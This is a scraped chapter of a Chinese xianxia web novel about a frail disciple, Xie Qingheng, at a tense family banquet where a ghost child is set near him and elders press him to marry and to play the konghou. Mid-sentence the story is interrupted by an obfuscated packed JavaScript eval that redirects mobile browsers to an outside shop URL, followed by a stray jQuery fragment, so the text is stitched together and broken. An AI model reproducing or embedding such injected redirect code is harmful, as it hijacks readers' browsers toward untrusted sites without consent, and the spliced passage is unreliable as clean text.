文趣网 > 其他小说 > 大师兄到底揣了谁的崽 > 10.夜宴
    谢青珩体弱是师门中的常识。

    叶言旭踏入修行以后,就更加明白这一点,他小心守护着谢青珩,像小心翼翼擦拭一尊琉璃瓶,任何稍重的动作都会刻下难以磨灭的痕迹。

    谢青珩垂眸看着叶言旭粗声粗气地为他上药,手背上鲜艳的红痕不再泛起痒和疼,逐渐恢复到原本的状态。

    “我见到我阿母了,”谢青珩轻声说道,“她和想的有些不一样,又有些像。”

    叶言旭愣了一下,明白了谢青珩为什么会是这幅样子。

    临渡峰中,也就谢青珩和江雨眠凑在一起,才能勉强拼出一对父母。

    “那她也不能这样啊……”叶言旭嘟囔着,火气去的也快。

    就在此时,玄凤、玄英推门而入,大声道:“大师兄!”

    声音戛然而止,谢青珩见她们看着自己手上的药膏,轻声道:“无事,你们说。”

    玄凤、玄英这才凑到谢青珩身边,眼睛亮晶晶的:“大师兄,大师兄,你阿母怎么样,和大师兄一样好看吗?”

    谢青珩点点头:“好看的。”

    她们又问:“她是不是和牛大的阿母一样,也等着大师兄回来?”

    谢青珩想了想:“算是吧。”

    玄凤、玄英话音蓦然低落:“那大师兄是不是也要和牛大一样陪在阿母身边,不和我们一起走了?”

    叶言旭闻言,也目光灼灼盯着谢青珩。

    谢青珩认真道:“不会,她们不一样,我阿母不是孤家寡人,我其实也不想留在这里。”

    这话说的有些无情,更不符合谢青珩多年看书所学,但确实是他的真心话。

    尽管这样的话放在外面会被说是不孝。

    谢青珩又解释道:“我知道她过的很好,有我没我也一样。”

    玄凤、玄英有些疑惑道:“可是我们听说大师兄的阿母这些年很不受宠啊。”

    “可她是踏入仙途的修士,”谢青珩想到那根紫线,“她大抵已经入了第二境登仙台了。”

    “什么!”

    玄凤、玄英惊呼,就连叶言旭也皱了眉头。

    登仙台的修士,近乎和他们师父一样的境界,怎么会受困于后宅之事,甘心让自己唯一的孩子流落在外?

    谢青珩知道师父的境界手段,难免不与之相比,可他心里到底存了一丝善念道:“可能她也有她的苦衷,可是我不想留在谢家。”

    谢家给他的感觉很不好,就像是突然置身于湿润之中,五感都被封闭,只能凭借本能前进。

    叶言旭轻轻拢着谢青珩的手,道:“等师父回来,我们就跟他说。”

    谢青珩点头。

    可他们没有等来周侧,反而等来了一场转为他们所设的宴会。

    因为是私宴,来的人都是谢家一脉的,并不见许多外姓人。

    谢家自诩钟鸣鼎食之家,所用之物都尽力向帝京靠拢,兼有精美和大气之风,叫人望而生畏。

    谢青珩一行人在丫鬟的轮番劝阻之下,都已沐浴更衣,难免来的迟些,等他们来时,各家已分列而坐,悄声交谈着什么。

    身为谢家家主,谢天磊已是登仙台后期的修士,仍然有着不同于一般中年人的外貌,鬓角乌黑,不见一丝霜色,目光沉稳却隐见锐利之色,一身腱子肉将衣袍撑得紧实。

    在他的下方,大房谢长风看起来也只有三十来岁,生得一张正气凛然的脸,却笑着和身边的幼子玩闹。

    谢长风左右两侧,分别是正室夫人云姒和姨娘徐氏,云姒此时穿着正红色的衣裳,头上珠钗熠熠,将她的美丽抬高了不少,而徐姨娘歪髻蓝花,一身气度清雅,眼角已经有了细细的皱纹,笑起来时尤其明显。

    两人对比之下,更显云姒的美丽,是以不少人投来异样的眼光。

    珍珠与鱼目,大房竟然选了鱼目。

    但这件事情在谢家也不是天大的秘密,比起美丽,许多人更支持有天骄子嗣傍身的徐姨娘。

    而云姒身边也坐着云随雨,正在低声劝慰着什么。

    二房谢天和看起来要比他父亲还要老,身边陪着的夫人也和他差不多年岁,他们这次带了另一个年纪小的儿子,此时也在私语着。

    三房谢茂学算是谢天磊老来得子,年纪轻,一心醉心修行,不曾娶亲生子,就连在宴会上也在默读书卷。

    最末尾的便是谢家旁支,他们进退有度,并不抢主脉风头,只默默注视着周围。

    谢长风逗弄着小儿子,举着颗灰黑色的果实:“英儿,你看这是什么?”

    小儿子扎着长生辫,虎头虎脑地说:“阿父,是阴果,英儿要吃。”

    谢长风笑着将果实喂给小儿子,摸着他的头说道:“等会儿见了阿兄知道怎么说吧?”

    小儿子道:“英儿知道。”

    徐姨娘含笑道:“你们啊。”

    不远处的谢天和看着他们的动静,跟身边的夫人说道:“也就阿兄稀罕……”

    他身边的夫人劝慰:“好歹是阿兄的亲儿子。”

    谢天和冷哼:“算什么?两个都不是……罢了,阿父也是的,当年放出去的祸害,如今不仅亲自接回,还要举办什么宴会,不就是叫我们认认脸,好让他认祖归宗吗?”

    “真是祸害啊,”谢天和咬牙,“咱们修远就是去接他,才叫鬼云潮祸害了,我谢家二十多年来都没出过这种事情,偏他回来就有了!”

    夫人也叹道:“还好有徐管事在,不然真就让修远送了命。”

    她想到什么,转头叮嘱自己的二儿子:“旻安,你可不许跟大房那个走近了,万一耽搁了你仙途……”

    谢旻安无奈道:“阿母,儿子知道,玉灵阿妹即将入第二境登仙台,我等再是不知事,也不敢跟他走近。”

    说是这么说,可谢旻安却想起自家兄长每晚哀嚎,清醒之时也是呆呆看着空中,写堂兄的名字,说是绝世倾城之美,就连徐合也承认堂兄姿容过盛。

    谢旻安如今是真有些好奇,却不敢在阿父阿母面前表现出来,只能斜眼看过去。

    和谢旻安有一般想法的还有许多人,既厌恶忌惮祸害之名,又忍不住想知道那个让二公子谢修远都折了的人究竟有多美。

    可更多人却抑制不住厌恶,仅是飞舟遭逢鬼云潮之事就让他们联想起当年的谶言,于族有碍!

    幸好,谢家还有玉灵小姐能够撑起门楣。

    谢青珩一行人踏入宴席的瞬间,满场皆静,细碎私语凝冰而碎,针落可闻。

    谢旻安是第一个发现他们的人,可他的视线都被中间的人牢牢吸住,光影烛火都偏爱着那个人,唯有料峭岩壁,孤高至极之地才能孕育出这样的人,一捧雪色,便夺去了天地大半造化。

    碧玉琼瑶,万花摇落,幽香四溢。

    衬得那身织金的衣裳也黯淡无光。

    随意的那一眼,竟然让谢旻安心神震荡,恍若天上神女降临凡尘,满室生光,少年俊脸刷的一下全红了。

    不光是谢旻安,就连许多女眷都出神地盯着谢青珩。

    谢旻安喃喃道:“伯父竟然能生出堂兄这般人物……”

    还有些好事者道:“天机阁的美人榜真是该更新了!”

    不少人也是这般想的,暗自打量着谢长风夫妻二人,虽也算得上是郎才女貌,但也只是世俗上的好看,远比不上谢青珩超凡脱俗的美貌,简直不似人能生出来的仙姿,怎能不瞠目结舌?

    谢青珩对他们的打量早已习以为常,他望向主位的谢天磊,身体微微前屈:“青珩见过祖父。”

    后又侧向大房所在之地,道:“见过阿父,阿母。”

    谢天磊垂眸注视着谢青珩,仙姿玉貌,超然物外,轻易便将宴席上的一切目光凝聚起来,谢家百年以来,未有如此人物。

    就算是美人榜上,也能力压一重美人。

    须臾,谢天磊大笑:“好好好,我谢家出了个谪仙人!好孙儿,上来让祖父好好瞧瞧。”

    谢青珩目光移向早已坐下的周侧,得到肯定后,才慢慢走上前去。

    谢天磊满意地看着谢青珩道:“面如凝脂,神仙中人矣。”*

    “祖父谬赞。”

    谢天磊笑道:“事实而已,青珩孙儿何必自谦?”

    “此次宴席不仅为你接风洗尘,也是为了感谢周峰主的照拂之恩,”谢天磊朝周侧遥遥举杯。

    谢长风的小儿子趁此爬上台阶,拽着谢青珩衣裳下摆道:“阿兄!”

    小孩高兴地介绍自己:“我叫谢英逸,阿父、阿母和阿姐也叫我英儿。”

    “阿兄,抱。”小孩伸出手。

    谢天磊眼中也泛起慈爱之色:“英儿一向怕生,没想到你一来他也来了,真是亲兄弟啊。”

    谢青珩依言抱起了小孩,和他想的不一样,小孩非常轻,脸颊上的软肉如同虚幻般让人觉得不可思议。

    唯一的重量还来自于小孩的红衣裳。

    谢青珩盯着小孩眉宇,目光渐渐移向他头顶,近乎虚无的黑。

    冰寒之气随着谢青珩抱着他的时间加重,竟然透进了肺腑,谢青珩步伐有些踉跄,但也坚持将他抱回到谢长风所在的位置上。

    谢长风盯着他略有虚浮的脚步道:“既然回来了,就应当学些护身法门。”

    还是徐姨娘朝谢青珩颔首,起身接过了满身香气的小孩。

    云姒也道:“如今你也成年,该试着接受些谢家产业了。”

    云随雨适时道:“姨夫姨母思念表弟,表弟何不留下?”

    谢青珩看向坐好的师门众人,轻声道:“宗门大典即将开启,实在不便。”

    云姒温柔说道:“也罢,阿母只盼着你能时不时回来。”

    谢青珩点头,走向师门的位置。

    可无人知晓,他的后背已经被冷汗浸湿,阴寒之气在他体

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778740|209535||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    内乱窜,喉间也跟着泛着腥甜的味道。

    谢青珩眼前越发模糊,那些他习以为常的命运线时隐时现,甚至有些看不清了。

    直到被叶言旭喂进一颗药丸,他才觉得身上没那么冷了。

    谢青珩下意识握着叶言旭的手解释道:“那是鬼魂。”

    那个名叫英儿的小孩,是个早已死去多时的鬼。

    周侧眼神阴翳,却越发沉默,他再次饮尽杯中酒,道:“我们今晚就走。”

    江雨眠脸上难得有了怒意:“谢家怎么敢的!让鬼孩子近大师兄的身!”

    玄凤、玄英更是说道:“他们还没有给阴牌!”

    阴牌是大户人家才用的,刻下生卒年月,父母亲缘,便可免去阴气侵扰,如死者活着时嬉戏玩闹。

    却也只限于血脉之间。

    曾京墨探着谢青珩的脉,指使叶言旭道:“再喂一颗。”

    叶言旭依言,谢青珩的脸色果然好多了。

    他们这边的动静自然没能瞒过观察他们的众人。

    谢天磊眉头微不可查地皱起,化为一抹浓重的失望。

    谢长风瞥了一眼,便又接着逗弄长不大的孩子。

    云姒嘴角勾起耐人寻味的弧度,下一瞬变得担忧无比,让云随雨送去了备好的阴牌。

    谢天和漠然道:“长得好又怎么样,不能修炼,身体又如此孱弱,跟玉灵侄女比起来真是云泥之别。”

    谢天磊慈爱地看向谢青珩说道:“玄天宗这些时日为了庆典多有忙碌,青珩不若留在谢家修养些时日再返回?”

    谢青珩还没有开口,周侧停下酒杯道:“谢家主美意我等心领了,可我家大徒弟司掌临渡峰一应事务,实在割舍不下。”

    “再说,”周侧语调平稳,却不容置疑,“青珩之事我已上禀仙尊,到时自有仙尊决断。”

    仙尊二字一出,喧闹的宴席霎时一静,奏乐之人也纷纷停下。

    谢天磊眯起眼:“仙尊知晓了啊……”

    “那确实不宜留下,不过,还有一事,”谢天磊看向谢青珩,“算来你今年已二十三,该成家立业,留下子嗣了。”

    “恰好,丰宁府中有几位贵女也在适婚年纪,来日有空,你可愿回来看看?”

    “他不愿!”

    叶言旭拍案而起,固执又直白道:“大师兄才不会娶凡尘女子!大师兄就只会在临渡峰!”

    顶撞长辈,顶撞上境修士,是极其无礼的行为。

    若非周侧在他们身后撑腰,谢天磊绝不会给一个伏流境界的修士留面子。

    谢天磊冷哼:“娶妻生子,乃人伦纲常,用得着你来替青珩决定?!”

    叶言旭猛然攥紧谢青珩的手腕,眼中哀求,声线也不稳:“大师兄你快拒绝。”

    谢青珩无奈地提醒他轻些,又看向谢天磊道:“谢过祖父好意,可青珩身弱,恐耽误姑娘芳华,故而不愿。”

    谢天磊摆摆手:“罢了罢了,等你想清楚再说吧。”

    玄凤、玄英好奇地戳着叶言旭道:“小师弟,我们都还没说话,你为什么替大师兄说?”

    叶言旭见师兄师姐都看着自己,掩耳盗铃般别过脸:“要你们管,大师兄都同意了。”

    谢青珩看着恨不得钻进自己怀中的叶言旭,说不出什么重话,只能摸摸小师弟的脑袋。

    谢家的宴席比他们在其他地方经历的更加有趣精致。

    菜肴庄重雅致,又不失灵气风味,糕点更是做成五花八门,个个都能看出白案师傅的手艺。

    席间,不住有人朝谢青珩敬酒,哪怕谢青珩以茶代酒也不能完全应付到,最后只得叶言旭出面挡下。

    但也算得上没有什么波澜。

    直到乐伎上场,谢长风恍然想起什么的看向谢青珩:“听人说青珩的箜篌弹得很好,我这做阿父的,可不知有没有福分听你的箜篌?”

    谢青珩抚摸着耳下箜篌,道:“我的箜篌不给人作乐。”

    周侧冷眼扫过去:“谢长风,你有些过了。”

    “怎么是有些过了?”谢长风笑道,“做阿父的想听儿子的手艺,再正常不过了,何况这是家宴,又没有外人。”

    叶言旭面色也冷了下来,他说道:“我大师兄的箜篌不是在宴会上给你们的作乐的!”

    “反正你们都安排好了乐部,又何必让大师兄上来?”

    云姒却开口道:“早听闻珩儿箜篌弹得好,正好让各位叔伯听听。”

    江雨眠目光不善,无论有意还是无意,大师兄的阿父将大师兄和乐伎相提并论,已经算是轻贱,如今不依不饶,更是想要大师兄难堪。

    亲生的阿父阿母,对二十年不见的孩子如此,真不知道是爱还是恨了。

    坐于上方的谢天磊笑道:“这么认真做什么?青珩,你虽不能修炼,但有手艺也是极好的,你上去弹一首,祖父好为你选个合适的箜篌师傅。”